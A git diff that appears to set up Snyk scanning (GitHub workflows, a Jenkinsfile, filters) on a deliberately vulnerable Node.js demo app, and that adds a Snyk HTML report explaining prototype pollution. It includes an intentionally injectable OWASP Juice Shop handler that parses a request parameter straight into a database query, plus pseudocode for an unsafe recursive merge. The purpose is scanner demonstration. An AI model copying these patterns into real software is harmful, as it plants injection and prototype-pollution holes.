diff --git a/.github/snyk_pull_request_template-silence.yaml b/.github/snyk_pull_request_template-silence.yaml new file mode 100644 index 0000000000..e08420e8ab --- /dev/null +++ b/.github/snyk_pull_request_template-silence.yaml @@ -0,0 +1,17 @@ +title: This PR fixes {{ issue_count }} issues +commitMessage: "fix: {{ issue_count }} Snyk issues" +description: | + {{ #is_upgrade_pr }} + This PR has been opened to make sure our repositories are kept up-to-date. + It updates {{ package_name }} from version {{ package_from }} to version {{ package_to }}. + Review relevant docs for possible breaking changes. + {{ /is_upgrade_pr }} + + **Tickets** + {{ #jira_ids }} + - Fixes {{ . }} + {{ /jira_ids }} + + To find more details, see the Snyk project [{{ snyk_project_name }}]({{ snyk_project_url }}) + + Open this project locally ${{ LOCAL_PROJECT_PATH }} \ No newline at end of file diff --git a/.github/workflows/snyk-code-manual.yml b/.github/workflows/snyk-code-manual.yml index 0cb48af11c..28bf0414f2 100644 --- a/.github/workflows/snyk-code-manual.yml +++ b/.github/workflows/snyk-code-manual.yml @@ -1,6 +1,9 @@ name: "snyk code manual test" -on: [push, pull_request] - +on: + pull_request: + branches: [ snyk-actions ] + push: + branches: [ snyk-actions ] jobs: build: name: sarif testing action diff --git a/.github/workflows/snyk-code.yml b/.github/workflows/snyk-code.yml index 6acfa140db..78baf5df4a 100644 --- a/.github/workflows/snyk-code.yml +++ b/.github/workflows/snyk-code.yml @@ -1,5 +1,9 @@ name: "snyk code test" -on: [push, pull_request] +on: + pull_request: + branches: [ snyk-actions ] + push: + branches: [ snyk-actions ] jobs: build: runs-on: ubuntu-latest @@ -11,7 +15,4 @@ jobs: continue-on-error: true env: SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - - name: Upload SARIF file - uses: github/codeql-action/upload-sarif@v2 - with: - sarif_file: snyk-sarif2.json + diff --git a/.github/workflows/snyk-test-sarif.yml b/.github/workflows/snyk-test-sarif.yml index d583e5aafe..f274422ae9 100644 --- a/.github/workflows/snyk-test-sarif.yml +++ b/.github/workflows/snyk-test-sarif.yml @@ -1,7 +1,11 @@ -name: "snyk test" -on: [push, pull_request] +name: "snyk test with SARIF upload" +on: + pull_request: + branches: [ snyk-actions ] + push: + branches: [ snyk-actions ] jobs: - build: + security: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 @@ -15,3 +19,5 @@ jobs: uses: github/codeql-action/upload-sarif@v2 with: sarif_file: snyk-sarif1.json + + diff --git a/.github/workflows/snyk-vulns-to-issues.yml b/.github/workflows/snyk-vulns-to-issues.yml new file mode 100644 index 0000000000..4eecd442c4 --- /dev/null +++ b/.github/workflows/snyk-vulns-to-issues.yml @@ -0,0 +1,17 @@ +name: Snyk SCM Issues to Github Issues +on: + push: + branches: + - snyk-actions +jobs: + security: + runs-on: ubuntu-latest + steps: + - uses: snyk-labs/actions/scm-issues-to-gh-issues@main + with: + snyk_prefix: "cse" + use_fresh_issues: "true" + env: + SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} + GITHUB_TOKEN: ${{ github.token }} + REMOTE_REPO_URL: ${{ github.repositoryUrl }} \ No newline at end of file diff --git a/.snyk-filter/snyk.yml b/.snyk-filter/snyk.yml new file mode 100644 index 0000000000..b7227b6e52 --- /dev/null +++ b/.snyk-filter/snyk.yml @@ -0,0 +1,5 @@ +version: 2 +customFilters: + filter: ".vulnerabilities |= map(if .cvssScore >= 8 then . else empty end)" + pass: "[.vulnerabilities[] | select(.cvssScore >= 8)] | length" + msg: "Vulnerabilities with CVSS Score of 8+ found" diff --git a/Jenkinsfile b/Jenkinsfile new file mode 100644 index 0000000000..e0f206914f --- /dev/null +++ b/Jenkinsfile @@ -0,0 +1,21 @@ +pipeline { + agent any + tools {nodejs "nodejs"} + stages { + stage('Test Build Requirements') { + steps { + sh 'npm install -g --legacy-peer-deps' + sh 'npm -v' + } + } + stage('Test') { + steps { + echo 'Testing...' + snykSecurity( + snykInstallation: 'mySnyk', + snykTokenId: 'jenkins-pickford-snyk', + ) + } + } + } +} diff --git a/actions-test.txt b/actions-test.txt new file mode 100644 index 0000000000..e69de29bb2 diff --git a/example-vuln.js b/example-vuln.js new file mode 100644 index 0000000000..75db2e0ba9 --- /dev/null +++ b/example-vuln.js @@ -0,0 +1,25 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import models = require('../models/index') +import { Request, Response } from 'express' + +const utils = require('../lib/utils') + +exports.getRecycleItem = () => (req: Request, res: Response) => { + models.Recycle.findAll({ + where: { + id: JSON.parse(req.params.id) + } + }).then((Recycle) => { + return res.send(utils.queryResultToJson(Recycle)) + }) +} + +exports.blockRecycleItems = () => (req: Request, res: Response) => { + const errMsg = { err: 'Sorry, this endpoint is not supported.' } + return res.send(utils.queryResultToJson(errMsg)) +} + diff --git a/package-lock.json b/package-lock.json index fef2be2035..bf317ee695 100644 --- a/package-lock.json +++ b/package-lock.json @@ -25,6 +25,7 @@ "hbs": "^4.0.4", "humanize-ms": "1.0.1", "jquery": "^2.2.4", + "js-deobfuscator": "^1.1.0", "lodash": "4.17.4", "marked": "0.3.5", "method-override": "latest", @@ -1513,6 +1514,14 @@ "node": ">= 0.8" } }, + "node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "engines": { + "node": "^12.20.0 || >=14" + } + }, "node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", @@ -2345,7 +2354,6 @@ "version": "4.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true, "engines": { "node": ">=4.0" } @@ -2354,7 +2362,6 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, "engines": { "node": ">=0.10.0" } @@ -3913,6 +3920,31 @@ "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz", "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI=" }, + "node_modules/js-deobfuscator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/js-deobfuscator/-/js-deobfuscator-1.1.0.tgz", + "integrity": "sha512-eBXz7NCP5SsUgyL38s0X5qbkG1WXHP6gmmXrHb5qMGPo9grjwlxE5Uxux6mGQ4393eyfK11tk92OhR0IaauNjg==", + "dependencies": { + "commander": "^9.4.0", + "estraverse": "^4.2.0", + "shift-ast": "^6.1.0", + "shift-codegen": "github:ben-sb/shift-codegen-js", + "shift-parser": "^7.0.3", + "shift-validator": "^5.0.1", + "uuid": "^8.3.2" + }, + "bin": { + "js-deobfuscator": "dist/cli.js" + } + }, + "node_modules/js-deobfuscator/node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, "node_modules/js-yaml": { "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", @@ -4329,6 +4361,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/method-override/-/method-override-3.0.0.tgz", "integrity": "sha512-IJ2NNN/mSl9w3kzWB92rcdHpz+HjkxhDJWNDBqSlas+zQdP8wBiJzITPg08M/k2uVvMow7Sk41atndNtt/PHSA==", + "license": "MIT", "dependencies": { "debug": "3.1.0", "methods": "~1.1.2", @@ -4668,6 +4701,7 @@ "version": "1.10.0", "resolved": "https://registry.npmjs.org/morgan/-/morgan-1.10.0.tgz", "integrity": "sha512-AbegBVI4sh6El+1gNwvD5YIck7nSA36weD7xvIxG4in80j/UoK8AEGaWnnz8v1GxonMCltmlNs5ZKbGvl9b1XQ==", + "license": "MIT", "dependencies": { "basic-auth": "~2.0.1", "debug": "2.6.9", @@ -4760,6 +4794,11 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.3.tgz", "integrity": "sha1-cIFVpeROM/X9D8U+gdDUCpG+H/8=" }, + "node_modules/multimap": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/multimap/-/multimap-1.1.0.tgz", + "integrity": "sha512-0ZIR9PasPxGXmRsEF8jsDzndzHDj7tIav+JUmvIFB/WHswliFnquxECT/De7GR4yg99ky/NlRKJT82G1y271bw==" + }, "node_modules/muri": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/muri/-/muri-1.0.0.tgz", @@ -10131,6 +10170,100 @@ "jsonify": "~0.0.0" } }, + "node_modules/shift-ast": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-6.1.0.tgz", + "integrity": "sha512-Vj4XUIJIFPIh6VcBGJ1hjH/kM88XGer94Pr7Rvxa+idEylDsrwtLw268HoxGo5xReL6T3DdRl/9/Pr1XihZ/8Q==" + }, + "node_modules/shift-codegen": { + "version": "8.0.0", + "resolved": "git+ssh://git@github.com/ben-sb/shift-codegen-js.git#68294180cdc89eaaa7e3561283b8c6a31a319ac6", + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2", + "object-assign": "^4.1.0", + "shift-reducer": "7.0.0" + } + }, + "node_modules/shift-parser": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/shift-parser/-/shift-parser-7.0.3.tgz", + "integrity": "sha512-uYX2ORyZfKZrUc4iKKkO9KOhzUSxCrSBk7QK6ZmShId+BOo1gh1IwecVy97ynyOTpmhPWUttjC8BzsnQl65Zew==", + "dependencies": { + "multimap": "^1.0.2", + "shift-ast": "6.0.0", + "shift-reducer": "6.0.0", + "shift-regexp-acceptor": "2.0.3" + } + }, + "node_modules/shift-parser/node_modules/shift-ast": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-6.0.0.tgz", + "integrity": "sha512-XXxDcEBWVBzqWXfNYJlLyJ1/9kMvOXVRXiqPjkOrTCC5qRsBvEMJMRLLFhU3tn8ue56Y7IZyBE6bexFum5QLUw==" + }, + "node_modules/shift-parser/node_modules/shift-reducer": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-reducer/-/shift-reducer-6.0.0.tgz", + "integrity": "sha512-2rJraRP8drIOjvaE/sALa+0tGJmMVUzlmS3wIJerJbaYuCjpFAiF0WjkTOFVtz1144Nm/ECmqeG+7yRhuMVsMg==", + "dependencies": { + "shift-ast": "6.0.0" + } + }, + "node_modules/shift-reducer": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/shift-reducer/-/shift-reducer-7.0.0.tgz", + "integrity": "sha512-9igIDMHzp1+CkQZITGHM1sAd9jqMPV0vhqHuh8jlYumHSMIwsYcrDeo1tlpzNRUnfbEq1nLyh8Bf1YU8HGUE7g==", + "dependencies": { + "shift-ast": "7.0.0" + } + }, + "node_modules/shift-reducer/node_modules/shift-ast": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-7.0.0.tgz", + "integrity": "sha512-O0INwsZa1XH/lMSf52udGnjNOxKBLxFiZHt0Ys3i6bqtwuGEA3eDR4+e0qJELIsCy8+BiTtlTgQzP76K1ehipQ==" + }, + "node_modules/shift-regexp-acceptor": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/shift-regexp-acceptor/-/shift-regexp-acceptor-2.0.3.tgz", + "integrity": "sha512-sxL7e5JNUFxm+gutFRXktX2D6KVgDAHNuDsk5XHB9Z+N5yXooZG6pdZ1GEbo3Jz6lF7ETYLBC4WAjIFm2RKTmA==", + "dependencies": { + "unicode-match-property-ecmascript": "1.0.4", + "unicode-match-property-value-ecmascript": "1.0.2", + "unicode-property-aliases-ecmascript": "1.0.4" + } + }, + "node_modules/shift-validator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/shift-validator/-/shift-validator-5.0.1.tgz", + "integrity": "sha512-q0uUu2IWgEnItpuTbL1HGJkfBWKTGhDMTOqe1ANlc6qfV6jo1E3LB2P1rAVWQnOl+9iZSfdqYzNIACZ0j07l4Q==", + "dependencies": { + "esutils": "2.0.2", + "shift-parser": "7.0.3", + "shift-reducer": "6.0.0", + "shift-regexp-acceptor": "2.0.3" + } + }, + "node_modules/shift-validator/node_modules/esutils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", + "integrity": "sha512-UUPPULqkyAV+M3Shodis7l8D+IyX6V8SbaBnTb449jf3fMTd8+UOZI1Q70NbZVOQkcR91yYgdHsJiMMMVmYshg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/shift-validator/node_modules/shift-ast": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-6.0.0.tgz", + "integrity": "sha512-XXxDcEBWVBzqWXfNYJlLyJ1/9kMvOXVRXiqPjkOrTCC5qRsBvEMJMRLLFhU3tn8ue56Y7IZyBE6bexFum5QLUw==" + }, + "node_modules/shift-validator/node_modules/shift-reducer": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-reducer/-/shift-reducer-6.0.0.tgz", + "integrity": "sha512-2rJraRP8drIOjvaE/sALa+0tGJmMVUzlmS3wIJerJbaYuCjpFAiF0WjkTOFVtz1144Nm/ECmqeG+7yRhuMVsMg==", + "dependencies": { + "shift-ast": "6.0.0" + } + }, "node_modules/signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", @@ -12092,6 +12225,14 @@ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.1.tgz", "integrity": "sha512-5/4etnCkd9c8gwgowi5/om/mYO5ajCaOgdzj/oW+0eQV9WxKBDZw5+ycmKmeaTXjInS/W0BzpGLo2xR2aBwZdg==" }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", + "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==", + "engines": { + "node": ">=4" + } + }, "node_modules/unicode-length": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/unicode-length/-/unicode-length-1.0.3.tgz", @@ -12106,6 +12247,34 @@ "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4=" }, + "node_modules/unicode-match-property-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", + "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^1.0.4", + "unicode-property-aliases-ecmascript": "^1.0.4" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.0.2.tgz", + "integrity": "sha512-Rx7yODZC1L/T8XKo/2kNzVAQaRE88AaMvI1EF/Xnj3GW2wzN6fop9DDWuFAKUVFH7vozkz26DzP0qyWLKLIVPQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.0.4.tgz", + "integrity": "sha512-2WSLa6OdYd2ng8oqiGIWnJqyFArvhn+5vgx5GTxMbUYjCYKUcuKS62YLFF0R/BDGlB1yzXjQOLtPAfHsgirEpg==", + "engines": { + "node": ">=4" + } + }, "node_modules/unique-string": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-1.0.0.tgz", @@ -13856,6 +14025,11 @@ "delayed-stream": "~1.0.0" } }, + "commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==" + }, "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", @@ -14558,14 +14732,12 @@ "estraverse": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" }, "esutils": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" }, "etag": { "version": "1.6.0", @@ -15861,6 +16033,27 @@ "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz", "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI=" }, + "js-deobfuscator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/js-deobfuscator/-/js-deobfuscator-1.1.0.tgz", + "integrity": "sha512-eBXz7NCP5SsUgyL38s0X5qbkG1WXHP6gmmXrHb5qMGPo9grjwlxE5Uxux6mGQ4393eyfK11tk92OhR0IaauNjg==", + "requires": { + "commander": "^9.4.0", + "estraverse": "^4.2.0", + "shift-ast": "^6.1.0", + "shift-codegen": "github:ben-sb/shift-codegen-js", + "shift-parser": "^7.0.3", + "shift-validator": "^5.0.1", + "uuid": "^8.3.2" + }, + "dependencies": { + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" + } + } + }, "js-yaml": { "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", @@ -16601,6 +16794,11 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.3.tgz", "integrity": "sha1-cIFVpeROM/X9D8U+gdDUCpG+H/8=" }, + "multimap": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/multimap/-/multimap-1.1.0.tgz", + "integrity": "sha512-0ZIR9PasPxGXmRsEF8jsDzndzHDj7tIav+JUmvIFB/WHswliFnquxECT/De7GR4yg99ky/NlRKJT82G1y271bw==" + }, "muri": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/muri/-/muri-1.0.0.tgz", @@ -20586,6 +20784,102 @@ "jsonify": "~0.0.0" } }, + "shift-ast": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-6.1.0.tgz", + "integrity": "sha512-Vj4XUIJIFPIh6VcBGJ1hjH/kM88XGer94Pr7Rvxa+idEylDsrwtLw268HoxGo5xReL6T3DdRl/9/Pr1XihZ/8Q==" + }, + "shift-codegen": { + "version": "git+ssh://git@github.com/ben-sb/shift-codegen-js.git#68294180cdc89eaaa7e3561283b8c6a31a319ac6", + "from": "shift-codegen@github:ben-sb/shift-codegen-js", + "requires": { + "esutils": "^2.0.2", + "object-assign": "^4.1.0", + "shift-reducer": "7.0.0" + } + }, + "shift-parser": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/shift-parser/-/shift-parser-7.0.3.tgz", + "integrity": "sha512-uYX2ORyZfKZrUc4iKKkO9KOhzUSxCrSBk7QK6ZmShId+BOo1gh1IwecVy97ynyOTpmhPWUttjC8BzsnQl65Zew==", + "requires": { + "multimap": "^1.0.2", + "shift-ast": "6.0.0", + "shift-reducer": "6.0.0", + "shift-regexp-acceptor": "2.0.3" + }, + "dependencies": { + "shift-ast": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-6.0.0.tgz", + "integrity": "sha512-XXxDcEBWVBzqWXfNYJlLyJ1/9kMvOXVRXiqPjkOrTCC5qRsBvEMJMRLLFhU3tn8ue56Y7IZyBE6bexFum5QLUw==" + }, + "shift-reducer": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-reducer/-/shift-reducer-6.0.0.tgz", + "integrity": "sha512-2rJraRP8drIOjvaE/sALa+0tGJmMVUzlmS3wIJerJbaYuCjpFAiF0WjkTOFVtz1144Nm/ECmqeG+7yRhuMVsMg==", + "requires": { + "shift-ast": "6.0.0" + } + } + } + }, + "shift-reducer": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/shift-reducer/-/shift-reducer-7.0.0.tgz", + "integrity": "sha512-9igIDMHzp1+CkQZITGHM1sAd9jqMPV0vhqHuh8jlYumHSMIwsYcrDeo1tlpzNRUnfbEq1nLyh8Bf1YU8HGUE7g==", + "requires": { + "shift-ast": "7.0.0" + }, + "dependencies": { + "shift-ast": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-7.0.0.tgz", + "integrity": "sha512-O0INwsZa1XH/lMSf52udGnjNOxKBLxFiZHt0Ys3i6bqtwuGEA3eDR4+e0qJELIsCy8+BiTtlTgQzP76K1ehipQ==" + } + } + }, + "shift-regexp-acceptor": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/shift-regexp-acceptor/-/shift-regexp-acceptor-2.0.3.tgz", + "integrity": "sha512-sxL7e5JNUFxm+gutFRXktX2D6KVgDAHNuDsk5XHB9Z+N5yXooZG6pdZ1GEbo3Jz6lF7ETYLBC4WAjIFm2RKTmA==", + "requires": { + "unicode-match-property-ecmascript": "1.0.4", + "unicode-match-property-value-ecmascript": "1.0.2", + "unicode-property-aliases-ecmascript": "1.0.4" + } + }, + "shift-validator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/shift-validator/-/shift-validator-5.0.1.tgz", + "integrity": "sha512-q0uUu2IWgEnItpuTbL1HGJkfBWKTGhDMTOqe1ANlc6qfV6jo1E3LB2P1rAVWQnOl+9iZSfdqYzNIACZ0j07l4Q==", + "requires": { + "esutils": "2.0.2", + "shift-parser": "7.0.3", + "shift-reducer": "6.0.0", + "shift-regexp-acceptor": "2.0.3" + }, + "dependencies": { + "esutils": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", + "integrity": "sha512-UUPPULqkyAV+M3Shodis7l8D+IyX6V8SbaBnTb449jf3fMTd8+UOZI1Q70NbZVOQkcR91yYgdHsJiMMMVmYshg==" + }, + "shift-ast": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-ast/-/shift-ast-6.0.0.tgz", + "integrity": "sha512-XXxDcEBWVBzqWXfNYJlLyJ1/9kMvOXVRXiqPjkOrTCC5qRsBvEMJMRLLFhU3tn8ue56Y7IZyBE6bexFum5QLUw==" + }, + "shift-reducer": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/shift-reducer/-/shift-reducer-6.0.0.tgz", + "integrity": "sha512-2rJraRP8drIOjvaE/sALa+0tGJmMVUzlmS3wIJerJbaYuCjpFAiF0WjkTOFVtz1144Nm/ECmqeG+7yRhuMVsMg==", + "requires": { + "shift-ast": "6.0.0" + } + } + } + }, "signal-exit": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", @@ -22328,6 +22622,11 @@ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.9.1.tgz", "integrity": "sha512-5/4etnCkd9c8gwgowi5/om/mYO5ajCaOgdzj/oW+0eQV9WxKBDZw5+ycmKmeaTXjInS/W0BzpGLo2xR2aBwZdg==" }, + "unicode-canonical-property-names-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-1.0.4.tgz", + "integrity": "sha512-jDrNnXWHd4oHiTZnx/ZG7gtUTVp+gCcTTKr8L0HjlwphROEW3+Him+IpvC+xcJEFegapiMZyZe02CyuOnRmbnQ==" + }, "unicode-length": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/unicode-length/-/unicode-length-1.0.3.tgz", @@ -22344,6 +22643,25 @@ } } }, + "unicode-match-property-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-1.0.4.tgz", + "integrity": "sha512-L4Qoh15vTfntsn4P1zqnHulG0LdXgjSO035fEpdtp6YxXhMT51Q6vgM5lYdG/5X3MjS+k/Y9Xw4SFCY9IkR0rg==", + "requires": { + "unicode-canonical-property-names-ecmascript": "^1.0.4", + "unicode-property-aliases-ecmascript": "^1.0.4" + } + }, + "unicode-match-property-value-ecmascript": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-1.0.2.tgz", + "integrity": "sha512-Rx7yODZC1L/T8XKo/2kNzVAQaRE88AaMvI1EF/Xnj3GW2wzN6fop9DDWuFAKUVFH7vozkz26DzP0qyWLKLIVPQ==" + }, + "unicode-property-aliases-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-1.0.4.tgz", + "integrity": "sha512-2WSLa6OdYd2ng8oqiGIWnJqyFArvhn+5vgx5GTxMbUYjCYKUcuKS62YLFF0R/BDGlB1yzXjQOLtPAfHsgirEpg==" + }, "unique-string": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-1.0.0.tgz", diff --git a/package.json b/package.json index d5f9362a36..d5e2d110a4 100644 --- a/package.json +++ b/package.json @@ -31,6 +31,7 @@ "hbs": "^4.0.4", "humanize-ms": "1.0.1", "jquery": "^2.2.4", + "js-deobfuscator": "^1.1.0", "lodash": "4.17.4", "marked": "0.3.5", "method-override": "latest", diff --git a/results.html b/results.html new file mode 100644 index 0000000000..2ab533a382 --- /dev/null +++ b/results.html @@ -0,0 +1,18463 @@ + + + + + + + + + Snyk test report + + + + + + + + + +
+
+
+
+ + + Snyk - Open Source Security + + + + + + + +
+

Snyk test report

+ +

May 12th 2022, 6:56:04 pm

+
+
+ Scanned the following path: +
    +
  • /Users/opickford/snyk_projects/nodejs-goof (npm)
  • +
+
+ +
+
95 known vulnerabilities
+
380 vulnerable dependency paths
+
565 dependencies
+
+
+
+
+
+ + + + + + + +
Project goof
Path /Users/opickford/snyk_projects/nodejs-goof
Package Manager npm
Manifest package-lock.json
+
+
+
+
+

Prototype Pollution

+
+ +
+ critical severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution. + It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

